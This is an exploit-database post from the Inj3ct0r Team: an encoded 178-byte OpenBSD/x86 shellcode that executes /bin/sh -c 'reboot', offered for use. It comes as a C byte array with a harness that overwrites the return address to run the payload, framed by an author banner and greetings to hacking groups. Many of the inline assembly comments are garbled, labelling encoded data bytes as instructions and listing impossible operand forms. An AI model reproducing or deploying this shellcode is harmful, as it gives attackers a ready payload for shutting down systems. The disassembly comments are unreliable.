OpenBSD/x86 sys_execve ('/bin/sh -c "reboot"') - ShellCode 178 bytes (encoded)



EKU-ID: 667 CVE: OSVDB-ID:
Author: KedAns-Dz Published: 2011-07-04 Verified: Verified
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0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
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0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
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0               I'm KedAns-Dz member from Inj3ct0r Team                1
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//======[ Sh3lL C0d3 ]=========>
/*
###
# Title : OpenBSD/x86 sys_execve ('/bin/sh -c "reboot"') - ShellCode 178 bytes (encoded)
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com * www.dis9.com
# Twitter page : twitter.com/kedans
# platform : OpenBSD/x86
# Type : Shellcode - 178 Bytes (encoded)
##
# <3 Liyan Oz + All UE-Team & I.BackTrack Team <3
###
*/

#include <string.h>

char OpenBSD[]=
"\xEB\x65"          // jmpme
"\x5E"              // pop %%esi
"\x31\xED"          // xor %ebp,%ebp
"\x83\xE1\x01"      // and %ecx,0x01
"\x83\xE3\x01"      // and %ebx,0x01
"\x66\xBB\xFA\xF7"    // mov %bx,0x0F7FA
"\x66\x81\xF3\x48\xF7"  // xor %bx,0F748
"\x89\xF7"          // mov %edi,%esi
"\x83\xE0\x7F"      // and %eax,0x7F
"\xAC"              // lods %esi
"\xB1\x80"          // mov %cl,0x80
"\xF9"              // stc
"\x06"              // push %es
"\x74\x23"          // je short
"\x60"              // pushad
"\x83\xE9\x01"      // sub %ecx,0x01
"\x74\x06"          // je short
"\xB3\x02"          // mov %bl,0x02
"\xF6\xF3"          // div %bl
"\xE2\xFC"          // loopd short
"\x83\xE0\x01"      // and EAX,1
"\x6B\x2F\x02"      // imul %ebp,dword %edi,0x02
"\x09\xE8"          // or %eax,%ebp
"\xAA"              // stos %edi 
"\x61"              // popad
"\x83\xED\xFF"      // sub %ebp,0xFF
"\x83\xFD\x75"      // cmp %ebp,0x75
"\x05\x83\xEF\xFF\x31"  // add %eax,0x31FFEF83
"\xED"              // in %eax,%dx
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\x90"              // nop
"\xE2\xBC"          // loopd short
"\x83\xEB\x01"      // sub %ebp,0x01
"\x74\x07"          // je short
"\xEB\xAF"          // jmp short
"\xE8\x96\xFF\xFF\xFF"  // callme
"\x75\x2E"          // jnz short
"\xEB\x29"          // jmp short
"\xAA"              // stos %edi
"\xA9\xB0\x6D\x71\xA0" // test %eax,0xA0716DB0
"\x20\x28"            // and %eax,%ch
"\xAF"              // scas dword %edi
"\x3D\x64\xE8\x77\x2B"  // cmp %eax,0x2B77E864
"\xEE"              // out %dx,%al
"\x76\xA3"          // jbe short
"\x60"              // pushad
"\xBE\x6F\x71\x3A\x71"  // mov %esi,0x713A716F
"\x3E\x3A\xAB\xB0\x34\x20" // cmp %ch,%ebx 0x202034B0
"\x20\x22"          // and %edx,%ah
"\xFB"              // sti
"\x29\xB2\xEE\x37\xBC\xED" // sub dword ,%edx 0xEDBC37EE,%esi
"\x22\x21"           // and %ah,%ecx
"\x75\xA6"           // jnz short
"\x60"               // pushad
"\x31\x3C\xAC"       // xor %esp,%ebp,%edi
"\xB6\x33"           // mov %dh,0x33
"\x7D\xBE"           // jge short
"\xF4"               // hlt
"\x31\x20"           // xor %eax,%esp
"\x2A\xF5"           // sub %dh,%ch
"\x3C\x67"           // cmp %al,0x67
"\xA2\xB2\x68\xB4\xEA" // mov 0xEAB468B2
"\x2C\xEC"           // sub 0xEC
"\x20";              // and %eax

main()
{
   int *ret;
   printf("\n%d\n",sizeof(OpenBSD));
   ret=(int*)&ret+2;
   (*ret)=(int)OpenBSD;
}

/*
#================[ Exploited By KedAns-Dz * Inj3ct0r * ]========================================= 
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > ++ Liyan Oz & Blackrootkit ..all
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)
# Jago-Dz (sec4ever.com) * Kalashinkov3 * PaCketStorm Team (www.packetstormsecurity.org)
# www.metasploit.com * Underground Exploitation (www.dis9.com) * All Security and Exploits Webs ...
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever 
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz
#================================================================================================
*/